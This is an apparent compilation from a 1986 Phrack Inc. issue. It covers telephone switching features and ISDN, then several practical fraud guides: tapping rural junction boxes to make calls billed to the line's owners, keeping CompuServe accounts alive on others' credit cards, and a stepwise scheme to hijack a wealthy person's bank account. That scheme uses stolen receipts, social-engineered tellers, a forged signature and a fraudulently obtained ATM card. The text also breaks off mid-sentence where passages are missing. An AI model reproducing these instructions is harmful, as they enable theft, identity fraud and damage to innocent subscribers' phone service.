Analyze authorization code + o FRS 3 Digit translation + o CCSA translation + o Abandon call + + After processing at the main location is complete, the remote access +register is set up to identify the next type of function. Then, the main +location returns a CCIS remote message to the remote location. The information +returned from the main location is always in the same format and is saved on +the OR. + +========== +=Features= +========== + + The CWC group is allowed many features, here is a list of them. + + +1. Call Forwarding Variable: Users can forward their calls to remote stations + located in another office by dialing the access code and the intercom + number of the CWC station. + +2. Call Forwarding Busy Line: Provides for the forwarding of calls to any + interlocation station within the CWC group upon encountering a busy station. + +3. Call Forwarding Don't Answer: Provides for the forwarding of calls that are + not answered within a predetermined number of ringing cycles. + +4. Call Transfer: Allows the station user to transfer any established call to + any other station within the CWC group with the following constraints. + + o Dropback rules do not permit 2 outgoing trunks to be involved in the + final 2 party connection. However, 2 outgoing trunks can be involved in + a 3 way conversation. + + o On interoffice calls involving a fully restricted station, flash + capability is allowed. However, the controller is not permitted to + connect the fully-restricted station to any other station, either in + dropback or a 3 way conversation. + + Cross network call transfer transparency requires that each location be +provided the Call Transfer-Individual or Call Transfer-Individual-All calls +feature. The CTO (call transfer outside) option may be provided. + +5. Call Waiting feature provides a burst of tone when the called party is busy +on another call. The types of Call Waiting features and CWC interactions are: + + o Call Waiting Originating: allows a CWC calling station to direct a call + waiting tone toward a busy station within the same CWC group. + + o Call Waiting Intragroup: gives call waiting tone to a called party + which has call waiting terminating on all intragroup calls. + + o Dial Call Waiting: Allows originating CWC station users to invoke call + waiting on CWC intragroup calls by dialing an access code followed by + the extension number of the station to be call waited. + +6. Distinctive Ringing/CW Tone: Allows a CWC station user to determine the +source of a call incoming to the station. This is done by associating a +distinctive ringing or tone pattern with the incoming call based on its source. +Interlocation CWC calls receive intragroup treatment. + +7. Message Desk Service: Provides centralized and personalized call coverage or +message answering capabilities which can serve the needs of all CWC locations. +The Call Forwarding Variable and Call Forwarding Busy Line/Don't Answer feature +are needed of forwarding calls from stations within the CWC group. + +8. LASS (Local Area Signalling Service): Provides the called party with call +management and security services. Local CCIS is required for multiple-office +grouping within a LATA for intercom calls. The following features comprise the +LASS offering : + + o Automatic Recall: Enables a station user to place a call to the LCDN + (Last Call Directory Number) currently associated with the users fone. + The LCDN can either be the last party called by the station user or the + last party to call the station user. + + o Distinctive Alerting: Allows the station user to prespecify a set of + numbers which activate a distinctive ring or distinctive call waiting + tone. The CWC extension numbers can be entered on the screen list. When + the user receives a call from one of these numbers, the phone if idle, + will ring with a special distinctive ringing pattern. If a call waiting + customer's line is busy, a special tone notifies the customer of the + impending call. + + o ICLID: provides the number which is calling the station user. (Explained + in other files) + + o Selective Call Forwarding: (Explained in other file) + + o Selective Call Rejection: Provides the user with the capability of not + being alerted by calls from a specified set of numbers. The user inputs + the numbers to be rejected from the station set. These numbers are + specified either directly (dialed in) or as the number of the last call + received. The CWC extensions are allowed on the screen list. + +=========================================================== +=(C) 1986 The Executioner and The Egyptian Lover and PLP = +=========================================================== +This file is based on the AT&T document for the CWC. + + ==Phrack Inc.== + + Volume One, Issue Eight, Phile #4 of 9 + + The Integrated Services Digital Network + + ---==> By Dr. Doom <==--- + + ISDN or Integrated Services Digital Network has been talked about off and on +by AT&T and until now has just been a demented AT&T fantasy, but it is to soon +become a reality. This phile is the second I have written on the subject and +is a cumulation of information from three basic sources : + +<1> The ISDN AT&T Technical Journal +<2> An interview with an AT&T Long Distance Operations Center Supervisor who + will be referred to as Mr. R. +<3> and some general ISDN articles from Southwestern Bell Newsletters. + + +ISDN Definition +=============== + +CCITT Definition : An end to end digital network that supports a wide range of +services accessed by a set of standard multipurpose user-network interfaces. + + ISDN will allow for incredible new services that will drastically change the +telecommunications industry and everyone's lives. For example, one new service +ISDN will bring about is calling party identification. This will allow +businesses and individuals who subscribe to that service to know exactly what +number you are calling from before they even decide whether or not to answer +the phone. + +In the case of dialups like MCI, the originating # will be stored in a computer +along with whatever code and number that person dialed which would greatly +hinder abuse of codes from a home phone. + + This is just the tip of the iceberg as far as ISDN is concerned. This phile +will analyze and describe how The Integrated Services Digital Network will +operate when it is implemented. + + +Out of Band Signalling +====================== + + Essential to a network capable of providing such enhanced services as calling +party identification is out-of-band signalling. Until the late 70's, when AT&T +introduced the 4ESS toll switch and CCIS into the national network, switches +had communicated with each other over the same channels in which our voice or +data was transmitted (in-band). During this time, all signalling between +switches had to be limited to a type that could be accommodated in the 'voice' +channel thus making it impossible to offer any advanced services. + + The development of the separate Common Channel Interoffice Signaling (CCIS) +network allowed for more freedom and flexibility and thus came about the AT&T +Calling Card service. + + ISDN brings an interface from the network to the subscriber's equipment. This +is a completely digital interface subdivided into two types of channels : + +The 'D' Channels are those used for sending signalling and control information +across the interface. The 'B' Channels are those used only for customer +information which can be in the form of voice, data, or video. + +The 'D' Channel hence manages the information or 'B' Channels making the +signalling 'out-of-band' and not 'in-band' as it is now. This approach allows +for two distinct benefits : + +<1> All the capacity in the information bearing channels is available for + customer use. +<2> The 'D' Signaling channel allows for distributed processing across the ISDN + Network. + +ISDN Interfaces +--------------- + + The CCITT has defined two major interfaces that will be used in conjunction +with the 'D' and 'B' channels : + +The Basic Rate Interface (BRI) consists of one D Channel and two B Channels. +This interface is used for locations where information transport is relatively +small like a residence. + +The Primary Rate Interface (PRI) consists of one 'D' Channel and 23 'B' +Channels. It is used for large capacity vehicles such as PBX's. + +Notice that there are 2 DIFFERENT 'B' Channels in the Basic Rate Interface. +This allows TWO different types of data to be sent over the same connection at +the same time. For example, you could be ULing files to a board on Channel 1 +while talking to the SYSOP on Channel 2. + +So, if both you and a board both have a BRI ISDN Interface, next time the SYSOP +says 'Go Voice', you simply pick up the handset, switch it to channel 2, and +start talking... + +These multiple channels are also the foundation for the widespread use of Video +Phones. Just like you were sending data over channel 1, and talking voice on +channel 2, you can be sending video over channel 1 (allowing the party's to see +each other) and talking on channel 2. + +ISDN Devices +============ + + AT&T Technologies, Advanced Micro Devices, and Intel are all in the process +of designing equipment that will be compatible with ISDN. So far, the two main +designs talked about through SWB and AT&T are : + +<1> The Voice/Data Terminal This will look like any regular computer terminal + with the exception that it has a handset on the side of the terminal and a + couple of switches that will allow you to decide which channel is for DATA + and which channel is for VOICE. This will also (of course), allow two + customers with a V/D Terminal to be exchanging DATA over one channel while + talking voice over the other one. + +<2> The Video Phone + This is where (yes) Big Brother is arriving... The Video Phone will work + pretty much just like it does in Science Fiction movies like 'Aliens' or + whatever. If two ISDN customers have video phones, they can talk and see + each other or whatever they want to show each other (HAHA) at the same time. + Video Phones obviously open up new frontiers for those with entrepreneurial + instincts. You can bet there will be some interesting Video Phone Sex lines + around... Then, you can have things like 'Dial a Movie...Please enter (1) to + view Rambo'..etc... The list goes on. This also leads to a whole new world + of problems for the telephone company like 'Obscene Video Calls'. This is + again where Calling ID becomes important. + +Each of these units, and others that will work with ISDN will have some sort of +a special viewing screen that will contain the necessary information about +incoming calls which includes the originating number and can include such +things as : + +<1> The name of the owner of that # +<2> The city and state +<3> The whole address for that # + + +AT&T ISDN Building Blocks +========================= + + AT&T has designated certain 'building blocks' that will eventually be laid in +place across the entire country to form ISDN. + + +<1> AT&T Communications Service Node +------------------------------------ + The service node is the customer's gateway to the AT&T Communications nodal +family of services, including MEGACOM, MEGACOM 800, and Acunet. The first +service node went into service in 1985 in Philadelphia, PA. + +<2> Integrated Access +--------------------- + This allows customers to integrate switched and private line services over a +single DS-1 link to the Service Node. + +<3> Out-of-Band Signaling +------------------------- + Discussed earlier. + +<4> CCS7 +-------- + The CCS7 Common Channel Signaling Network will soon replace CCIS as an +out-of-band signalling between AT&T Network Communications Facilities. Because +of its longer message format and layered structure, the CCS7 will support the +new features. + +<5> Digital Backbone Network +---------------------------- + This nationwide AT&T Network includes extensive lightwave and digital radio +routes. By the end of 1988, these Digital Lightwave routes will extend to +Europe with the TAT-8 lightwave system, and across the Pacific with +HAW-4/TPC-3. + +<6> Intelligent Software Controlled + AT&T Communications Network +----------------------------------- + This brings about more advanced software related services listed in #1. + + +AT&T ISDN Operations +==================== + + +Access Transport +---------------- + Your DS-1 signal is transported from your ISDN equipment to an AT&T +Communications Service Node somewhere. + Your line gets to AT&T by tariff from the local exchange carrier (i.e... +Southwestern Bell, GTE, or whomever happens to own your local switch...) or +AT&T. The direct link to the AT&T Service Node bypasses your local switching. + +AT&T Service Node +----------------- + Your local AT&T Service Node is a service office that acts as a gateway to +all the new AT&T Nodal ISDN services. This service node is typically composed +of : + +<1> A Refinished 4ESS Switch +<2> CNI Ring (Common Net.-Interface) +<3> Digital Access and Cross Connect System (DACS) + +Here is a diagram of how a customer location either goes to a local switch or +AT&T's node : + +Key +--- +CL = Customer Location += = DS-1 Line +! = DS-1 Line +> = Exiting out to AT&T Network + + -------- + - - + **** - Bell - + *CL*=======- 5ESS - + **** - - + -------- + ! + ! + ! + ! + **** ! + *CL* --------!-------- + ****===========4ESS=====> + - 4ESS= + **** - ! ! ! + *CL*======DACS=! !

All lines going to an AT&T Service Node whether through +Bell or a direct link terminate on either the 4ESS or the DACS. + When a line terminates on a DACS it serves as an Integrated Access +Distributor and sends the call to the 1PSS (Packet Switch) for Acunet Packet +Service or to the 4ESS and then eventually out to the AT&T Network. + +The AT&T Internodal Network +--------------------------- + In the internodal network facility, AT&T is in the process of deploying both +digital lightwave and digital radio systems. + +Lightguide Systems : + + In areas where growth is low, the FT3C and FTX180 Single mode terrestrial +lightguide systems will be used between nodes. + + On high growth routes AT&T will install fiber pairs at line rates of 1.7Gb/s +with 20 mile repeater spacings. + +Digital Radio : + + In the digital radio area, 4Gb/s systems such as the TD-90 and the TD-180 +provide a vehicle for rapid expansion of digital connectivity. + + +ISDN and Digital Switches +========================= + + AT&T has redesigned the 5E Switching Modules in such a way that they are +fully compatible with ISDN, but many of the existing 5E's and other switches +were manufactured without ISDN capability. To meet this need, AT&T has +produced ISDN interfaces that modularly connect to the system. Here is a +diagram of a 5ESS Switching Module with interfaces : + +Key +--- +$ = ISDN V/D Terminal or Video Phone +% = Standard Telephone += = Digital Line +< = In-Band Line +ISLU = Integrated Services Line Unit +PSIU = Packet Switch Interface Unit + + + -------------------------- + - 5ESS - + - Switching - + - Module - + - - + ------------=----=-------- + - = = - + $====-----======== = - + - - = - + $====- - --------=--- - + -ISLU- - - - + %<<<<- ===== PSIU - - + - - - - - + $====-------------------------- + + +The two new hardware additions are : + +<1> Integrated Services Line Unit and + +<2> The Packet Switch Interface Unit + + These units allow a LOCAL 5ESS (or other digital) Switch to serve both ISDN +and non-ISDN customers. These interfaces are integrated into a switching module +in a way that will allow ISDN customers to maintain all their previous Bell +services like Local Calling. Notice also that all lines, whether ISDN or not, +terminate on the ISLU. + +Calling Party Identification +============================ + + Discussed briefly in the preface of this phile, the ISDN enhanced Calling +Party Identification service offered by AT&T ISDN will be into service along +with the ISDN. + This quote out of the AT&T ISDN Technical reference should give you a good +idea of the impact ISDN will have on hacking and phreaking : + + 'One example of an enhanced service which has already been included in the + ISDN signaling protocol and will have a fundamental impact on day to day + telecommunications is the provisions of calling party identification. + Calling party ID will help us decide whether or not to answer incoming calls + and will minimize instances of nuisance calls and COMPUTER FRAUD via + telephone.' + + Mr. R, our AT&T Supervisor has been attending ISDN Conferences that include +representatives from all the major LD Companies (AT&T, MCI, GTE, LDS, etc..), +the Regional Bells, and other concerned parties. He said quote 'One of the +controlling factors behind The Integrated Services Digital Network is the +simple fact that AT&T, MCI, and other long distance companies are losing +MILLIONS to Phone Phraud.' Once ISDN is realized, so will network wide Calling +Party Identification. + Again, our friend Mr. R will enlighten us on the subject of ISDN Calling +Party ID and a simple explanation of how it will work : + + 'Right now, when you pick up the phone in your home, Port Isabel South + Western Bell knows that you did. Then, when you dial a number, they know + what number you dialed. So they send that information along to us (the AT&T + Toll Switch). We then send that along through the network to the person you + are calling.' + +Of course, there is one transaction between AT&T and a Bell Office at the end +that he left off, but if the person or computer you are calling has ISDN +Calling Party ID service, your originating # will be sent along the DS-1 Line +Interface from Bell to his equipment and show up on his screen after traveling +through the network like Mr. R described. + +This is rather simple when you think about it and is one example of how a once +shattered network is working together. + +Some Sample CP ID Uses +---------------------- +This can be used by large telephone ordering companies to instantly display a +record of that persons credit, previous orders, etc... before the call is even +answered on the attendant's terminal. + +When someone logs onto a computer, the originating # is listed on the user log +along with the account name, etc... so that if there is an unauthorized login, +they can contact the authorities to do whatever or monitor that number until +they get enough evidence to prosecute. The same thing holds true with LD +Dialups. They will record the originating number along with the code and bill +making MCI use rather dangerous. + + +SWB ISDN News +============= + + The following article was extracted from The Southwestern Bell Texas +Publication of Telephone Times and is entitled 'User Forum simplifies ISDN' : + +" Houston---Houston Marketing employees played show and tell with two customers +and all three groups are better off for it. + Marketing Representatives, with support from Bell Comm. Research, Illinois +Bell, AT&T, and McDonald's Corp. met with Shell and Tenneco to discuss ISDN. + 'ISDN is an evolving technology' said Bob Campbell, division manager +marketing business sales. 'It's still in the developmental stage. These User +Forums will give customers input on how it's deployed and what it will look +like.' + ISDN is an all digital network that transmits voice and data messages +simultaneously over a single telephone line. + 'The User Forums allow customers to share information on specific problems +concerning implementation, training, customer premise equipment and +applications,' Campbell said. + Linda Hobson, manager marketing administrative and coordinator of the event, +said not only will User Forums be standard practice in Houston, but probably +will become the national standard. + 'We're doing it quarterly here, but as more people become interested, we may +meet more often,' Hobson said. + Shell and Tenneco, who have signed letters of intent to purchase ISDN, were +specifically interested in such topics as trial status (SWBT's ISDN trials will +begin soon in St. Louis and Texas), available features, power requirements, and +future enhancements. + 'In the past, we bought the available enhancements, then sold them to the +customer,' said Hobson. 'That's changing. We have to find out what the +customer wants, then deliver the service that meets the specific needs'" + + That concludes the nice little article which by the way, contained some +interesting little tidbits of information. + + +Conclusion +========== + + ISDN is a VERY complicated plan that will drastically change the +telecommunications scene in this country and abroad. Although AT&T has boasted +in it's Technical Journals of being able to have its ISDN Capable Network +completed by Early 1987, this date seems to keep getting postponed back +according to our friend Mr. R (The AT&T Supervisor) and he is shooting for +large scale ISDN no earlier that late 1988 or 1989. Whenever ISDN does become +reality, people will probably just put out files with lists of computers that +subscribe to ISDN Calling Party Identification, and tell people not to call +them from their home. + + I hope you have enjoyed reading this phile on ISDN, I will be on the outlook +for more information on it. + +If you don't already have the # and New User Passwords to Metromedia BBS, send +me (Dr. Doom) mail on any of the boards I am on. + + ==Phrack Inc.== + + Volume One, Issue Eight, Phile #5 of 9 + +************************************************************************** +******************** The Art of Junction Box Modeming ******************** + ******** Written Exclusively For: ******** + ******** PHRACK INC.! ******** +************************************************************************** +* by Mad Hacker of 616 * + * Watch for Thieve's World ][ coming soon, now with 33 megs! * + ********************************************************************** + + This file will detail the use of a rural junction box to fraud the +phone company and make all the free phone calls you want to BBS or AE by. + + There are two basic types of rural junction boxes: Residential and +Group boxes. I will first discuss Residential as they are easier to find +and easier to use. There are a couple of requirements before you can make +full use of a Junction Box. First you must have some kind of portable +computer with a built-in modem or at least a hand phone if all you want to +do is make free calls to your friends. For computer I would recommend +something like a Model 100 from Radio Shack. Small, inexpensive but only +300 baud and only 32K of total storage. + + Anyway you can find residential junction boxes in most any rural area +just a few feet off the road and usually covered over with local weeds. Fish +your way thru the weeds and open it up. Some just open with a twist or a +turn, others are actually locked and require a little more patience. Anyway +once you have it open, you should see at least 4 pairs (possibly more) of +wires. You are only concerned with the pair containing both a red and a green +wire. + + Now you need to make a choice: Do you want to totally cut off the +regular owners of the phone line and do actual damage to this junction box or +leave them connected but have the possibility of them picking up their phone +and hearing your carrier? + + Usually you will want to cut them out totally, so simply find a bit of +slack in the line and cut both wires. Now in most boxes the connection to the +outside world comes from the bottom of the box, but sometimes you will find +one that doesn't conform. Simply attach a hand phone to the wires (matching +up colors, of course) and see if you get a dial tone. Anyway once you have +the proper pair then hook up to your modem line and dial anyway. Meanwhile +the lawful owners of the line will get a dead line on their end, so try to +do this only when you think no one would be using the phone, like 11PM to 7AM +or else they will probably call their LOC and tell them to fix the line and +when they see the cut wires, they will wonder what went on there. Finally be +a good guy and when you are done, resplice the wires together and shut the +box. + + Now usually you don't want to cause permanent damage to the box, so +simply strip off the insulation on the line and attach the red and green ends +of your modem cord to them. Now when you cut in, it will be much like an +extension was picked up. Simply dial away and have fun. Of course if anyone +at the house picks up the line they will get your carrier and will wonder, so +try to limit your activities also to the same hours mentioned above, unless you +know who you are ripping off and when they use the phone. The advantages of +this method is that once you strip the wires, there is little work to do each +time you use the box again. + + Now what do you do if you are lucky enough to find a Group box? Well +first you are confronted with a multitude of wires, anywhere from 10 pairs up +to 100 if you use a box on the edge of a small town. Finding a pair of the +right wires is a little more difficult unless your LOC has done repairs at +this box in the last couple of months, in which case a lot of the wires will +already be paired off. If you aren't so lucky find a couple of wires and try +them out. Once again you have the choice of stripping or cutting the wires, +but the advantage here is that you can use this box for about 4-6 months +without having to find a new one. + + What is the this junk about having to find a new box? Well you see +when you use a junction box in this manner, you are basically adding an +illegal extension to a private line. Any calls you make will show up on the +rightful owners bill. If you are only using the box for one or two short to +medium length calls a week, then you might not have any problems. However if +you use a box too much and the people keep calling the billing office about +the extra calls, the billing office will call those numbers and hear the +carrier. This will tip them off to the fact that someone is either lying at +the rightful owner's house or that someone has tapped into their phone line. +At this present time in the Midwest, it take about 2-3 months for the LOC to +realize that someone is playing with their junction box. What they do is come +out and repair the wires and usually put a newer lockable box on the site to +discourage illegal use. I haven't yet really pushed the LOC to any limits +yet, but one might suspect that has Junction boxing catches on to those of us +who have access to laptop computers, the LOC may find some way of catching us +at our little game. + + If anyone has any new information on how your LOC is handling this use +of their junction boxes please let us know by leaving mail for Thomas Covenant +on any Metal Shop board. + + [Postscriptum note by Thomas Covenant: I'd recommend one of those so- +called "portable" AT-compatibles. Great clock speed, 1200 baud, and a bigger +screen. And why not pack a picnic lunch and some booze? You'll be there all +day once you get started!] + +^Z, or "EOF" + + ==Phrack Inc.== + + Volume One, Issue Eight, Phile #6 of 9 + + COMPUSERVE INFO + --------------- + Compiled and + Related by: + Morgoth and Lotus + ----------------- + + Since its rather humble beginnings in Dublin, Ohio some years ago, +Compuserve, or CIS, as it will be referred to in this article, has grown to +become the largest entertainment/public user oriented system in the country. +This file is divided into two parts. The first is how to get your own CIS ID +number, and make it last a relatively long time. This part may seem like old +hat to some of you out there. The second part is information on what to do +once you are on the system...tricks and tips to keep you out of trouble, or +cause trouble. + A Compuserve identification number is divided into two parts; a project +number and a programmer number. An example would be 70007,1460. This ID is +what you will be known by at all times on the system. When you log on, you +will also be prompted for a password, in addition to your user ID. The +password is divided into two words, kept apart by a separator (-,:,.,etc). The +password may be any two words the user desires, including garbage, which makes +gaining an ID by hacking the password almost, if not totally, impossible. + The most popular, and about the only way left, of gaining an ID is by buying +what the system calls a snapak. These are the little goodies you see in the +store in the introductory packets. With this, you can gain access to most, but +not all of the system. + The first ID, or the "intro" ID will last about a week, at which time, +Compuserve automatically changes the password, and sends the new one to you via +the US Postal service. This is a key point to the ID scam. You MUST have +valid Credit Card information to be able to continue using the ID. I have +heard of intro IDs going bad in a matter of 2 or 3 days due to having non-valid +credit card info. So you need to set up a location to which your second +password can be mailed. This second password should last about a month, +depending on how much credit the CC holder has on his card. + When applying credit to a Visa or Mastercard, Compuserve will submit the +charges about once a week. If you run up about $500 in connect charges, and +the credit card cannot hold it, the ID will go bad. This is the most common +way for an account to run out. + Your first password has some limits. Due to hackers using snapaks, +Compuserve has installed a system which prohibits IDs without the second +password from entering any type of game online. This ranges from the +ever-popular MegaWars, to YGI, all the way down to Casino. This is one reason +why the second password is so important. + If more than one person will be using the account, which is usually the case, +there are also some limits to be observed. The same ID can no longer enter the +CB simulator more than once. If it is tried, the message "exceeding job limit" +will occur, and you will be taken back to the prior menu. The same ID can go +into a SIG at the same time, but both people cannot enter COnference mode while +on the SIG. The best way to talk to another user who is on the same ID is to +go into any forum, say CBMART, and have one of them enter COnference mode. +There, the two users can use the /SEN command to relay messages between the SIG +and COnference. This is kind of complicated, but it is the only way. Also, +anytime the message "exceeding job limit" goes to your screen, the people at +CIS put a small "red mark" by your name. If it occurs too frequently, they +look into the situation to find out if more than one person may be using the +same ID. + Special IDs -- Ok, now that you are on Compuserve, what should you look out +for? As mentioned before, the user ID is divided into [project +number,programmer number] format. The Programmer number is of no importance, +but the Project number is. Some of the ones you should be aware of while +online are: + + 70000,xxxx Compuserve Security + 70003,xxxx Compuserve Employee + 70004,xxxx Same as above + 70005,xxxx Radio Shack demo account + 70006,xxxx Customer service, or "Wizard" number (see below) + 70007,xxxx Complimentary account + 76703,xxxx SIG SysOp, or Forum Info Provider + + While on CB, look out for the 70000 IDs, and especially the 70006, or +"wizard" numbers. The Wizard ids have some very special functions. The main +one is called autogag, or /GAG. This allows the bearer of this ID to banish +any user from the system, in a way. What it actually does is to keep the +/GAGged person out of everyone's view. They will not show up on the /ust list, +and anything they type will not show up on anybody else's screen. Kind of like +a mute button on a television. The Chief of CIS security is Dan Pisker, and on +CB he uses the handles "Dan'l", or "Ghost", with a 70000 id. + Monitoring -- This is a very popular subject with the users of Compuserve, +but when broken down, it is quite simple. CIS is capable of monitoring +ANYTHING that is said on the system. This doesn't mean that they do, however. +For /TALK to be monitored in a Forum or on CB, CIS must first have a court +order...it is supposedly as illegal as tapping a phone line. This has been +done before to catch some major hackers on the system. /SEN in a SIG is not +supposedly monitorable....the status on it is the same as on /TALK. /SCR mode +on CB or on a SIG is definitely monitorable, especially if the the /SCR key is +typed on open channel. Keep /SCR conversations to a minimum. As far as +anything else goes, anything said on open channel is quite definitely seen by +SOMEBODY in the big chair up in Ohio. It would not surprise me at all if they +hire people to go through CB Transcripts every day to look for that kind of +thing. Also, when you are in COnference mode in a SIG, always check the +/STAtus of the channel. If /STA EVER returns that there are more people on the +channel you are on than the /USERS function does, then you can rest assured +that the channel is being monitored. + Nodes -- When you log on through CIS, you are going through a node. The node +takes the form of 3 letters, designating the site of the computer through which +you are connecting through Compuserve. An example would be "NYJ" (New York +City). There are some special nodes you should know about, though. + Tymnet - Anybody logging on through Tymnet will be assigned one of these +nodes - QAI, QAJ, QAK, QAC, QAM, QAN, QAO, QCA, QCB, QCC, QCE, QCF, QCH. This +cannot identify where you are calling from, just that you are logging in +through the Tymnet network. + Telenet - QBA, QBC, QBD, QBG, QBF, QEN, QEI, QEP. + Also, another special node would be DB- (DBA, DBB, DBC, etc), which means +that the user is logging on from Compuserve's Headquarters in Dublin. + The way to tell what node somebody is in is by typing /UST on either CO mode +on a SIG, or CB...the result is like this.... + Job User Id Ch. Node Handle + --- ---------- --- ---- ------ +1) 12 70003,1295 17 CSG Red Leather +2) 133 70006,1293 1s BAF Surf's Up! +3) 69 76703,1211 Tlk BOO JOE CUFFS +4) 22 70000,1959 30* DBA Pig + Now, you can tell something specific about each of these four people based on +the info given above. Red is in Columbus, Ohio, and is on Channel 17. She is +also a Compuserve Employee. Surf is in Bakersfield, California, and is a +Customer service personnel. He is also using /SCRamble.

It is risky, but no more so than +some of the more elaborate carding routines floating around. + The first step is to target your victim. The type person you are +looking for is rich. Very rich. + Now, don't go trying to hit on J.P. Getty or Johnny Carson or some- +one who carries a high name recognition. This will just get you into trouble +as everyone notices a famous person's name floating across their desk. + Instead look for someone who owns a chain of hog feed stores or some- +thing discreet like that. We targeted a gentleman who is quite active in the +silver market, owning several mines in South Africa and not wanting this to +be widely known (he had no desire to be picketed.) + Next step, take out a p.o. box in this person's name. Extasyy wrote +a good file on obtaining a box under a fake name, I don't know if it's still +around. If not, there are several others out there. (Yeah, I know, this has +already weeded out the weak of spirit. Anyone who has gotten this far without +panic is probably going to get away with it.) + Now comes the fun part, requiring some recon on your part. You need +to know some fairly serious details about this person's bank dealings. + 1) Find out what bank he deals with mainly. This isn't too dif- + ficult, as a quick run through his office trash will usually let + you find deposit carbons, withdrawal receipts, or *anything* that + has the bank name on it. + 2) Find out the account number(s) that he has at the bank. This can + usually be found on the above-mentioned receipts. If not, you can + get them in TRW (easier said than done) or you can con them out of + a hassled bank teller over the phone (Use your imagination. Talk + slowly and understandingly and give plausible excuses ["I work for + his car dealership, we need to do a transfer into his account"].) + 2a) [optional] If you can, find out if he has an ATM (Automatic + Teller) card. You don't need to know numbers or anything, just + if a card exists. This can also be ascertained over the phone + if you cajole properly. + 3) Armed with this information, go into action. + a) Obtain some nice (ivory quality) stationary. It doesn't + have to be engraved or anything, but a $5 or $10 invest- + ment to put a letterhead with his initials or something + on it couldn't hurt. But the most important thing is that + it look good. + b) Type a nice letter to the bank notifying them of your + address change. Some banks have forms you have to fill out + for that sort of thing, so you need to check with the bank + first (anonymously, of course). You will have to have a + good copy of his signature on hand to sign all forms and + letters (again, trash his office). + c) Call the bank to verify the new address. + d) IMMEDIATELY upon verifying the change of address, send a + second letter. If he already has an ATM card, request a + second card with the business name engraved in it be sent + for company use. If he doesn't have an ATM card, the let- + ter should request one for account number xxxxxx. Ask for + two cards, one with the wife's name, to add authenticity. + e) Go to the bank and ask for a list of all ATM's on the + bank's network. Often the state has laws requiring *all* + machines take *all* cards, so you'll probably be in good + shape. + f) Await the arrival of your new card. The PIN (personal + identification number) is included when they send out a + card. After picking up the card, forget that you ever + even *knew* where the p.o. box was, and make sure you + didn't leave fingerprints. + g) Begin making the maximum daily withdrawal on the card + (in most cases $500/day), using a different machine + each time. Since many of these machines have cameras + on them, wear a hat & jacket, or a ski mask to be really + paranoid. To cut the number of trips you have to make + in half, be at an ATM a few minutes before midnight. Make + one $500 withdrawal right before midnight, and another one + right after. This cuts down on the number of trips, but + police or bank officials may spot the pattern and start + watching machines around midnight. Use your own judgement. + Conclusion: Before using the card, make sure that all fingerprints are +wiped from it. Usually the first hint you will have that they have caught on +to your scam is that the machine will keep the card. Also, avoid using mach- +ines in your own town unless it is a big city (Chicago, Milwaukee, Dallas, +etc...). + + Well, I hope this file has proved interesting. Of course, it is only +intended for entertainment, and I heartily discourage anyone from even *think- +ing* about trying such a thing. Jail isn't fun, as I can testify. So I take +no responsibility for the misapplication of this information. + (But if someone else pulls it off, I wouldn't be averse to hearing +about it...) + +++The Mentor+++ + June 20 + + ==Phrack Inc.== + + Volume One, Issue Eight, Phile #8 of 9 + +PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN +PWN PWN +PWN Phrack World News PWN +PWN PWN +PWN Issue Seven/Part One PWN +PWN PWN +PWN Compiled and Written by Knight Lightning PWN +PWN PWN +PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN + +On The Home Front +----------------- +Well lots of things have been happening around here in the past few weeks. +For starters, I received a call from Ralph Meola. Apparently someone had left +his secretary with a message that I had called. Prior to this, someone named +Steve had left a message as well which Ralph had assumed was Slave Driver. He +called Steve first, mainly to discuss the letter that was sent to him via PWN +issue V. Well eventually he got around to calling me. Not too much was said, +but he wanted to clear up some misconceptions about his encounter with Sigmund +Fraud. Meola claims that he never threatened Sigmund Fraud about getting his +account to Stronghold East. Futhermore, he claims only to have called him +because SF had posted several AT&T Calling Cards on an unnamed west coast bbs. +Sigmund Fraud still publicly claims that what he said originally was true, +but privately admitted that he was lying. + +Some other developments would include an imposter of myself who is running +around on bulletin boards.

Well, he apparently had cashed roughly 16 checks belonging +to one John Martino (a man who lives down the street from him). Around August +4, 1986, Dr. Who and Telenet Bob were picked up in a store in North Adams, +Massachusetts. They were trying to pass off another check. + +The police were on the scene very shortly and they were taken in. Dr. Who told +the police inspector about a PDP-11/23 when asked about it. He had frauded +this at Harvard University and told them that RC Modeler (also known as Recent +Change) had it. They converged on a sleeping RC who confessed everything. + +Dr. Who is being charged with 16 counts of theft. +RC Modeler is being charged with larceny & possibly as an accomplice to theft. +Telenet Bob is being charged with 1 count of attempted theft. + +Dr. Who and RC Modeler are reportedly out of the scene permanently and Dr. Who +may be serving some prison time. Also, RC Modeler, when being questioned, was +asked about Legion of Doom. This is VERY strange since we cannot figure out +quite WHY this was asked. + +Sysops are asked to clear their accounts form any bbs they were on. +------------------------------------------------------------------------------- +The following is the interpretation of the same events as described by the +Concord Journal. The real names of the phreaks involved have been censored. + +Computer Theft Charge +--------------------- +An 18-year-old Concord man was charged on August 5, 1986 with stealing a $3,300 +computer [PDP-11/23 with Venix software] from Harvard University and a portable +stereo from an unknown store by using checks, police allege he knew to be +forged, to pay for the items, police said. + +RC Modeler, was charged with two counts of larceny over $100, police said. +[Also, accessory to the crime, RC says.] + +Police issued a warrant for RC's arrest after being tipped-off by the North +Adam's police that he had allegedly made purchases with checks they alleged to +be stolen and forged. + +North Adam's police, according to reports, arrested Doctor Who, of Lenox, MA. +[and Telenet Bob], and charged him with using stolen and forged checks earlier +this month. Police said Who told them about RC's purchases. They said Who +wrote checks for the purchase of the computer equipment and the stereo for RC. +------------------------------------------------------------------------------- +Well, RC might get off with 3 years of probation (including possible drug +testing according to RC.). Dr. Who's court set is set for August 25, 1986. +He will most likely be doing some prison time unfortunately. Please address +all further questions to The Clashmaster. + + Information Provided By The Clashmaster +_______________________________________________________________________________ + + +Portrait Of The Typical Computer Criminal August 11, 1986 +----------------------------------------- +from PC Week Magazine + +In studying the typical computer criminal, the National Center for Computer +Crime Data, in L.A., may have recently shattered some common myths. + +Rather than being some genius computer programmer, according to the center's +recently published report, the typical computer criminal is just that: quite +typical. He's most often a male, with an average age of 22, and if not, he's +next likely to be 19. Chances are he's a programmer, but if that job +description doesn't fit, he's most likely a student or an input clerk. + +Less than 5% of the time, this criminal will be either unskilled or unemployed, +and less than 2% of the time will he be a computer executive. + +In more than 40% of the cases that the center studied, criminals stole money, +and if cash wasn't their style, they split between stealing information or +programs and damaging software. + +For these crimes, 4/5ths of those caught had to pay a fine or do community +service or both, or serve less than 6 months in jail. In close to 1/5th of the +cases, the criminal's only punishment was to make restitution. + 